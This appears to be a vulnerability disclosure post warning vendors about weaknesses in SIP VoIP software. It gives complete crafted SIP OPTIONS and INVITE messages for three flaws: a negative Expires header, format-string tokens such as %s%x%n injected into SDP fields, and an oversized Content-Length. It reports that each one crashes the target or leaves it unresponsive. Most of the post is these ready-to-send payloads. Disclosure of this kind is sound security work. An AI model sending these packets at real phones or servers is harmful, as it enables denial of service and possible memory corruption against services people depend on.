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SIP is the important protocol in VOIP, and I think it'll improve fast and fast in the 

future just like the TCP/IP. In that time, we can contact each other by VOIP for vedio and 

sound very cheaply.
As a new protocol, most vendor just consider the usable and efficiency but not the 

security. Think about the scene : everybody use a SIP phone(not only software but also 

hardware) instead of PSTN phone, then our phone be hacked, then we leak accounts. Another 

important, if we use a softphone, then our OS be hacked, losing everything... -_- 
I have posted some SIP vulnerabilities here before, but it's just beginning, later, more 

and more hackers research in it, and more and more vulnerabilities be diged. What I do now 

is remind the Vendor to regard this problem.
Ok, look at these vulnerabilities, there are all tested on all version:

1. Processing negative integer in "Expires" item vulnerability:
====================1======================
OPTIONS sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:a@127.0.0.1>;tag=1793
To: zwell <sip:a@127.0.0.1>
Call-ID: 1407@172.16.3.6
CSeq: 5185 OPTIONS
Expires: -127

===========================================
It will be crash.




2. Several vulnerabilitites when processing format string in SDP 
====================1======================
INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

v=0
o=3013 3013 3013 %s%x%n IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

===========================================
INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

%s=0
o=4085 4085 4085 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 %s%x%n 0
a=rtpmap:0 PCMU/8000

===========================================
It will be have no response.




3. Processing number length in "Content-Length" item vulnerability:  
if the length of "Content-Length" more than 9:
===========================================
INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:a@127.0.0.1>;tag=2386
To: zwell <sip:a@127.0.0.1>
Call-ID: 31442@172.16.3.6
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length: 1111111111

v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000

===========================================
It will be crash.